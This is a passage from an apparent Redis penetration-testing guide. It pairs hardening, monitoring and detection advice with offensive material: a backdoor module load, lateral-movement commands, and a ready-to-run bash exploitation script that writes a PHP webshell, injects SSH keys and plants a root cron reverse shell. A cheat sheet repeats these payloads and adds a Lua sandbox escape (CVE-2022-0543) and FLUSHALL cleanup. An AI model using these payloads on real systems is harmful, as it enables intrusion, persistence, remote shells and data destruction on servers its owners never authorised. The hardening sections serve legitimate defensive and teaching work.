# Load persistent backdoor module
127.0.0.1:6379> MODULE LOAD /tmp/backdoor.so
127.0.0.1:6379> CONFIG SET dir /etc/redis
127.0.0.1:6379> CONFIG REWRITE  # Save module to config

# Module will auto-load on restart
```

### Lateral Movement

**Enumerate Network from Redis**

```bash
# If module is loaded with system execution
127.0.0.1:6379> system.exec "ip addr"
127.0.0.1:6379> system.exec "cat /etc/hosts"
127.0.0.1:6379> system.exec "netstat -ano"

# Scan internal network
127.0.0.1:6379> system.exec "nmap -sn 10.10.10.0/24"
```

**Dump Redis Master-Slave Configuration**

```bash
# Check if part of cluster
127.0.0.1:6379> INFO replication

# If slave, get master info
role:slave
master_host:10.10.10.100
master_port:6379

# Connect to master
redis-cli -h 10.10.10.100
```

**Search for Other Redis Instances**

```bash
# Check config for other Redis hosts
127.0.0.1:6379> CONFIG GET *

# Look for references to other hosts
127.0.0.1:6379> KEYS *redis*
127.0.0.1:6379> KEYS *cache*
```

## Defense & Hardening

#### Secure Configuration

**Disable Dangerous Commands**

```bash
# Edit /etc/redis/redis.conf

# Rename dangerous commands
rename-command FLUSHDB ""
rename-command FLUSHALL ""
rename-command KEYS ""
rename-command CONFIG "CONFIG_b840fc02d524045429941cc15f59e41cb7be6c52"
rename-command SAVE ""
rename-command BGSAVE ""
rename-command SHUTDOWN ""
rename-command DEBUG ""
rename-command MODULE ""
```

**Enable Authentication**

```bash
# Redis < 6.0 (password only)
requirepass your_very_strong_password_here

# Redis 6.0+ (ACL)
# Create users with limited permissions
user default on nopass ~* &* +@all
user readonly on >readonlypass ~* &* +@read
user webapp on >webapppass ~app:* &* +@read +@write -@dangerous
```

**Bind to Localhost Only**

```bash
# Edit /etc/redis/redis.conf

# Bind to localhost only
bind 127.0.0.1 ::1

# Or specific interface
bind 192.168.1.100

# Enable protected mode
protected-mode yes
```

**Disable Lua Scripting (if not needed)**

```bash
# Rename EVAL and related commands
rename-command EVAL ""
rename-command EVALSHA ""
rename-command SCRIPT ""
```

**Run as Unprivileged User**

```bash
# Create redis user
useradd -r -s /bin/false redis

# Set ownership
chown -R redis:redis /var/lib/redis
chown redis:redis /etc/redis/redis.conf

# Run as redis user
# In /etc/redis/redis.conf:
# (This is usually default)
```

**Disable Persistence (if caching only)**

```bash
# Disable RDB
save ""

# Disable AOF
appendonly no

# This prevents file write attacks
```

**Enable TLS**

```bash
# Generate certificates
openssl req -newkey rsa:4096 -x509 -sha256 -days 365 -nodes \
  -out redis.crt -keyout redis.key

# Configure Redis
port 0  # Disable non-TLS port
tls-port 6379
tls-cert-file /etc/redis/redis.crt
tls-key-file /etc/redis/redis.key
tls-ca-cert-file /etc/redis/ca.crt

# Connect with TLS
redis-cli --tls --cert redis.crt --key redis.key --cacert ca.crt
```

**Set Resource Limits**

```bash
# Limit max connections
maxclients 10000

# Limit memory usage
maxmemory 2gb
maxmemory-policy allkeys-lru

# Connection timeout
timeout 300

# TCP backlog
tcp-backlog 511
```

#### Network Security

**Firewall Rules**

```bash
# UFW
ufw deny 6379/tcp
ufw allow from 127.0.0.1 to any port 6379
ufw allow from 192.168.1.0/24 to any port 6379

# iptables
iptables -A INPUT -p tcp --dport 6379 -s 127.0.0.1 -j ACCEPT
iptables -A INPUT -p tcp --dport 6379 -s 192.168.1.0/24 -j ACCEPT
iptables -A INPUT -p tcp --dport 6379 -j DROP

# Save rules
iptables-save > /etc/iptables/rules.v4
```

**Use VPN or SSH Tunnel**

```bash
# SSH tunnel for remote access
ssh -L 6379:localhost:6379 user@redis-server

# Then connect locally
redis-cli -h 127.0.0.1
```

#### Monitoring & Detection

**Enable Logging**

```bash
# Edit /etc/redis/redis.conf

# Log level (debug, verbose, notice, warning)
loglevel notice

# Log file
logfile /var/log/redis/redis-server.log

# Slow log (log queries slower than X microseconds)
slowlog-log-slower-than 10000
slowlog-max-len 128
```

**Monitor Commands**

```bash
# Watch Redis in real-time
redis-cli MONITOR | tee redis_monitor.log

# Analyze for suspicious patterns
grep -E "CONFIG|SAVE|MODULE|EVAL" redis_monitor.log
```

**Audit Logs**

```bash
# Check who authenticated
grep "Accepted" /var/log/redis/redis-server.log

# Check for failed auth attempts
grep "Invalid password" /var/log/redis/redis-server.log

# Check for dangerous commands
grep -E "CONFIG SET|FLUSHALL|MODULE LOAD" /var/log/redis/redis-server.log
```

**Intrusion Detection**

```bash
# Monitor for suspicious connections
tcpdump -i eth0 -nn port 6379 -w redis_traffic.pcap

# Analyze with Wireshark or tshark
tshark -r redis_traffic.pcap -Y "redis"

# Look for:
# - Connections from unexpected IPs
# - Unusual command patterns
# - Large data transfers
# - Module loading attempts
```

**File Integrity Monitoring**

```bash
# Monitor critical files
# /etc/redis/redis.conf
# /var/lib/redis/dump.rdb
# /etc/cron.d/*
# /var/spool/cron/crontabs/*

# Using AIDE
aide --init
aide --check

# Or use auditd
auditctl -w /etc/redis/redis.conf -p wa -k redis_config
auditctl -w /var/lib/redis/ -p wa -k redis_data
```

#### Regular Security Tasks

```bash
# Update Redis regularly
apt update && apt upgrade redis-server

# Check for exposed instances
nmap -p 6379 <your-public-ip>

# Verify configuration
redis-cli CONFIG GET *

# Test authentication
redis-cli -h <external-ip> INFO
# Should fail if properly secured

# Check for loaded modules
redis-cli MODULE LIST

# Review ACLs (Redis 6+)
redis-cli ACL LIST

# Backup regularly
redis-cli BGSAVE
cp /var/lib/redis/dump.rdb /backup/redis-$(date +%Y%m%d).rdb
```

## Tools & Scripts

#### Essential Tools

**redis-cli** - Official Redis CLI&#x20;

**redis-dump** - Dump Redis database&#x20;

**redis-utils** - Python utilities for Redis&#x20;

**nmap** - Network scanning&#x20;

**Metasploit** - Exploitation framework&#x20;

**redis-rogue-server** - Automated RCE tool

#### Custom Scripts

**Redis Enumeration Script**

```python
#!/usr/bin/env python3
import redis
import sys

def enumerate_redis(host, port, password=None):
    try:
        r = redis.Redis(host=host, port=port, password=password, 
                       decode_responses=True, socket_connect_timeout=5)
        
        # Test connection
        r.ping()
        print(f"[+] Connected to {host}:{port}")
        
        # Get server info
        info = r.info()
        print(f"\n[*] Redis Version: {info['redis_version']}")
        print(f"[*] OS: {info['os']}")
        print(f"[*] Process ID: {info['process_id']}")
        print(f"[*] Config File: {info.get('config_file', 'N/A')}")
        
        # Check authentication
        try:
            config = r.config_get('requirepass')
            if config['requirepass']:
                print(f"[*] Password Required: Yes")
            else:
                print(f"[*] Password Required: No")
        except:
            pass
        
        # Get databases
        keyspace = r.info('keyspace')
        print(f"\n[*] Databases:")
        for db, info in keyspace.items():
            print(f"    {db}: {info}")
        
        # Get configuration
        print(f"\n[*] Important Configs:")
        for config in ['dir', 'dbfilename', 'bind', 'protected-mode']:
            try:
                value = r.config_get(config)
                print(f"    {config}: {value.get(config, 'N/A')}")
            except:
                pass
        
        # Check for modules
        try:
            modules = r.module_list()
            if modules:
                print(f"\n[*] Loaded Modules:")
                for module in modules:
                    print(f"    {module}")
            else:
                print(f"\n[*] No modules loaded")
        except:
            print(f"\n[*] MODULE command not available")
        
        # Sample some keys
        print(f"\n[*] Sample Keys:")
        for i in range(3):
            r.select(i)
            keys = r.keys('*')
            if keys:
                print(f"    DB{i}: {keys[:10]}...")
        
    except redis.exceptions.AuthenticationError:
        print(f"[-] Authentication required")
        return False
    except redis.exceptions.ConnectionError:
        print(f"[-] Connection failed")
        return False
    except Exception as e:
        print(f"[-] Error: {e}")
        return False
    
    return True

if __name__ == "__main__":
    if len(sys.argv) < 2:
        print(f"Usage: {sys.argv[0]} <host> [port] [password]")
        sys.exit(1)
    
    host = sys.argv[1]
    port = int(sys.argv[2]) if len(sys.argv) > 2 else 6379
    password = sys.argv[3] if len(sys.argv) > 3 else None
    
    enumerate_redis(host, port, password)
```

**Automated Exploitation Script**

```bash
#!/bin/bash

TARGET=$1
METHOD=$2

if [ -z "$TARGET" ] || [ -z "$METHOD" ]; then
    echo "Usage: $0 <target-ip> <method>"
    echo "Methods: webshell, ssh, cron, info"
    exit 1
fi

case $METHOD in
    info)
        echo "[*] Gathering Redis information..."
        redis-cli -h $TARGET INFO
        redis-cli -h $TARGET CONFIG GET *
        ;;
    
    webshell)
        echo "[*] Attempting webshell upload..."
        read -p "Enter web root path: " WEBROOT
        read -p "Enter filename (e.g., shell.php): " FILENAME
        
        redis-cli -h $TARGET <<EOF
CONFIG SET dir $WEBROOT
CONFIG SET dbfilename $FILENAME
SET shell "<?php system(\$_GET['cmd']); ?>"
SAVE
EOF
        echo "[+] Webshell uploaded to http://$TARGET/$FILENAME?cmd=whoami"
        ;;
    
    ssh)
        echo "[*] Generating SSH keys..."
        ssh-keygen -t rsa -f redis_key -N ""
        (echo -e "\n\n"; cat redis_key.pub; echo -e "\n\n") > spaced_key.txt
        
        cat spaced_key.txt | redis-cli -h $TARGET -x set ssh_key
        
        redis-cli -h $TARGET <<EOF
CONFIG SET dir /var/lib/redis/.ssh
CONFIG SET dbfilename authorized_keys
SAVE
EOF
        
        echo "[+] SSH key installed. Try: ssh -i redis_key redis@$TARGET"
        ;;
    
    cron)
        echo "[*] Setting up cron job..."
        read -p "Enter your IP: " LHOST
        read -p "Enter your port: " LPORT
        
        echo -e "\n\n*/1 * * * * /bin/bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'\n\n" | redis-cli -h $TARGET -x set cronpayload
        
        redis-cli -h $TARGET <<EOF
CONFIG SET dir /var/spool/cron/crontabs/
CONFIG SET dbfilename root
SAVE
EOF
        
        echo "[+] Cron job set. Start listener: nc -lvnp $LPORT"
        ;;
    
    *)
        echo "[-] Unknown method: $METHOD"
        exit 1
        ;;
esac
```

## Cheat Sheet

#### Quick Reference

```bash
# ENUMERATION
nmap -p 6379 -sV --script redis-info <target>
redis-cli -h <target> INFO
redis-cli -h <target> CONFIG GET *
redis-cli -h <target> CLIENT LIST

# AUTHENTICATION
redis-cli -h <target> -a <password>
redis-cli -h <target> AUTH <password>
redis-cli -h <target> AUTH <username> <password>

# DATABASE OPERATIONS
SELECT <db-number>                    # Switch database
KEYS *                                # List all keys
DBSIZE                                # Count keys
GET <key>                             # Get value
HGETALL <key>                         # Get hash
LRANGE <key> 0 -1                     # Get list

# EXPLOITATION - WEBSHELL
CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
SET shell "<?php system($_GET['cmd']); ?>"
SAVE

# EXPLOITATION - SSH
CONFIG SET dir /var/lib/redis/.ssh
CONFIG SET dbfilename authorized_keys
SET ssh_key "\n\nssh-rsa AAAA...\n\n"
SAVE

# EXPLOITATION - CRON
CONFIG SET dir /var/spool/cron/crontabs/
CONFIG SET dbfilename root
SET payload "\n\n*/1 * * * * /bin/bash -c 'bash -i >& /dev/tcp/IP/PORT 0>&1'\n\n"
SAVE

# EXPLOITATION - MODULE
MODULE LOAD /tmp/module.so
system.exec "whoami"
system.rev <attacker-ip> <port>

# EXPLOITATION - LUA (CVE-2022-0543)
EVAL 'local os = require("os"); return os.execute("id")' 0

# POST-EXPLOITATION
KEYS *password*                       # Find passwords
MONITOR                               # Watch commands
SLOWLOG GET 25                        # Get slow queries
INFO replication                      # Check master/slave

# CLEANUP
FLUSHDB                              # Clear current DB
FLUSHALL                             # Clear all DBs
CONFIG SET dbfilename dump.rdb       # Restore filename
CONFIG SET dir /var/lib/redis        # Restore directory
```

#### Important Configs

```bash
dir             # Working directory
dbfilename      # Database filename
requirepass     # Password
bind            # Bind address
protected-mode  # Protected mode
save            # Persistence settings
```

#### Common Paths

```bash
# Config
/etc/redis/redis.conf
/etc/redis.conf

# Data
/var/lib/redis/
/var/lib/redis/dump.rdb

# Logs
/var/log/redis/redis-server.log

# Web roots
/var/www/html
/usr/share/nginx/html

# Cron
/var/spool/cron/crontabs/  # Ubuntu/Debian
/var/spool/cron/           # CentOS/RHEL

# SSH
/var/lib/redis/.ssh/authorized_keys
/home/redis/.ssh/authorized_keys
/root/.ssh/authorized_keys
```

### Conclusion

Redis is a powerful in-memory data store, but when misconfigured, it becomes a critical security vulnerability. As demonstrated in this guide, Redis can be exploited in numerous ways:

**Key Takeaways:**

1. **Never expose Redis to the internet** without proper authentication
2. **Always set a strong password** (or use ACLs in Redis 6+)
3. **Bind to localhost only** unless remote access is required
4. **Disable dangerous commands** like CONFIG, MODULE, EVAL
5. **Run Redis as unprivileged user** to limit impact
6. **Monitor Redis logs** for suspicious activity
7. **Keep Redis updated** to patch known vulnerabilities
8. **Use TLS** for encrypted connections
9. **Regular backups** to prevent data loss
10. **Test your security** regularly with the techniques in this guide

**Common Attack Vectors:**

* Unauthenticated access leading to data theft
* Webshell upload via file write
* SSH key injection for remote access
* Cron job injection for persistence
* Module loading for direct RCE
* Lua sandbox escape (CVE-2022-0543, CVE-2025-\*)
* SSRF to internal Redis instances
* Master-slave replication abuse

Remember to only use these techniques during authorized penetration testing engagements. Unauthorized access to computer systems is illegal.

### Additional Resources

* [Redis Official Documentation](https://redis.io/documentation)
* [Redis Security Guide](https://redis.io/topics/security)
* [Redis ACL Documentation](https://redis.io/topics/acl)
* [HackTricks Redis Pentesting](https://book.hacktricks.wiki/en/network-services-pentesting/6379-pentesting-redis.html)
* [PayloadsAllTheThings - Redis](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/NoSQL%20Injection/Redis%20Injection.md)
* [CVE-2022-0543 Analysis](https://github.com/aodsec/CVE-2022-0543)
* [Redis Module Development](https://redis.io/topics/modules-intro)

{% hint style="success" %}
Learn & practice [**For the Bug Bounty**](https://shop.verylazytech.com/)

<details>

<summary>Support VeryLazyTech 🎉</summary>

* Become VeryLazyTech [**member**](https://shop.verylazytech.com/)**! 🎁**
* **Follow** us on:
  * **✖ Twitter** [**@VeryLazyTech**](https://x.com/verylazytech)**.**
  * **👾 Github** [**@VeryLazyTech**](https://github.com/verylazytech)**.**
  * **📜 Medium** [**@VeryLazyTech**](https://medium.com/@verylazytech)**.**
  * **📺 YouTube** [**@VeryLazyTech**](https://www.youtube.com/@VeryLazyTechOfficial)**.**
  * **📩 Telegram** [**@VeryLazyTech**](https://t.me/+mSGyb008VL40MmVk)**.**
  * **🕵️‍♂️ My Site** [**@VeryLazyTech**](https://www.verylazytech.com/)**.**
* Visit our [**shop** ](https://shop.verylazytech.com/)for e-books and courses.  📚

</details>
{% endhint %}
